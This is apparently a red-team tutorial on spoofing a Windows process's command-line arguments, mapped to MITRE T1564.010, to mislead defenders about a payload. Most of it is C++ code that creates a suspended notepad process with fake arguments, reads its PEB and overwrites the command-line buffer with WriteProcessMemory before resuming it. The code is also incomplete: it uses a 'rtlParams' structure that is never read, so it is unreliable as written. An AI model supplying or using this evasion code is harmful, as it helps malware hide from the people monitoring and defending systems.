Secondary Categories: 02-Malware, 02-Defense Evasion


Another method to hide our true intent or mislead defenders from identifying our payloads is to fake or spoof our command line arguements.

I will be running my sample code in debug mode to show you the command line arguements before and after they have been spoofed.

How its done

Lets start by creating a process in a suspended state.

#include <iostream>
#include <Windows.h>
#include <winternl.h>
 
int main()
{
 
    // Create the process with fake args
    STARTUPINFO si = { sizeof(si) };
    PROCESS_INFORMATION pi;
 
    WCHAR fakeArgs[] = L"notepad AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLL";
 
    if (CreateProcess(
        L"C:\\Windows\\System32\\notepad.exe",
        fakeArgs,
        NULL,
        NULL,
        FALSE,
        CREATE_SUSPENDED,
        NULL,
        L"C:\\",
        &si,
        &pi))
    {
        printf("Process created: %d", pi.dwProcessId);
    }

You can see that when the fakeArgs variable is quiet odd. We fill this variable with a large string to ensure we allocate enough space to hold the string we intend to overwrite in this space. Ideally you should already know the size that should be allocated to hold this string.

If we view the suspended notepad process using Process Hacker we can easily see the command line history.

In order to overwrite this we need to query the process and populate the PROCESS_BASIC_INFORMATION struct

#include <iostream>
#include <Windows.h>
#include <winternl.h>
 
typedef NTSTATUS(*QueryInformationProcess)(IN HANDLE, IN PROCESSINFOCLASS, OUT PVOID, IN ULONG, OUT PULONG);

After our suspended process we need to resolve the location of the API from ntdll.dll

// Resolve the location of the API from ntdll.dll
HMODULE ntdll = GetModuleHandle(L"ntdll.dll");
QueryInformationProcess NtQueryInformationProcess = (QueryInformationProcess)GetProcAddress(ntdll, "NtQueryInformationProcess");

The query the process

// Call NtQueryInformationProcess to read the PROCESS_BASIC_INFORMATION
PROCESS_BASIC_INFORMATION pbi;
DWORD length;
 
NtQueryInformationProcess(
    pi.hProcess,
    ProcessBasicInformation,
    &pbi,
    sizeof(pbi),
    &length);

Read the PEB.

// With the PEB base address, we can read the PEB structure itself
PEB peb;
SIZE_T bytesRead;
 
ReadProcessMemory(
    pi.hProcess,
    pbi.PebBaseAddress,
    &peb,
    sizeof(PEB),
    &bytesRead);

Craft new arguements of retrieve the command line arguements from another process and modify the command line arguements

// Craft new args and write them into the command line buffer
WCHAR newArgs[] = L"notepad C:\\Windows\\System32\\WindowsCodecsRaw.txt";
SIZE_T bytesWritten;
 
WriteProcessMemory(
    pi.hProcess,
    rtlParams.CommandLine.Buffer,
    newArgs,
    sizeof(newArgs),
    &bytesWritten);

Lastly resume the process

ResumeThread(pi.hThread);

Once we resume the notepad process the command line arguments will look like so:

  • Notice that the KKKLLLL are still left over thats because we allocated our original fakeArgs variable too large.

Resources:

TitleURL
MITRE - Hide Artifacts: Process Argument Spoofinghttps://attack.mitre.org/techniques/T1564/010/

Also Check Out:

  • PLACEHOLDER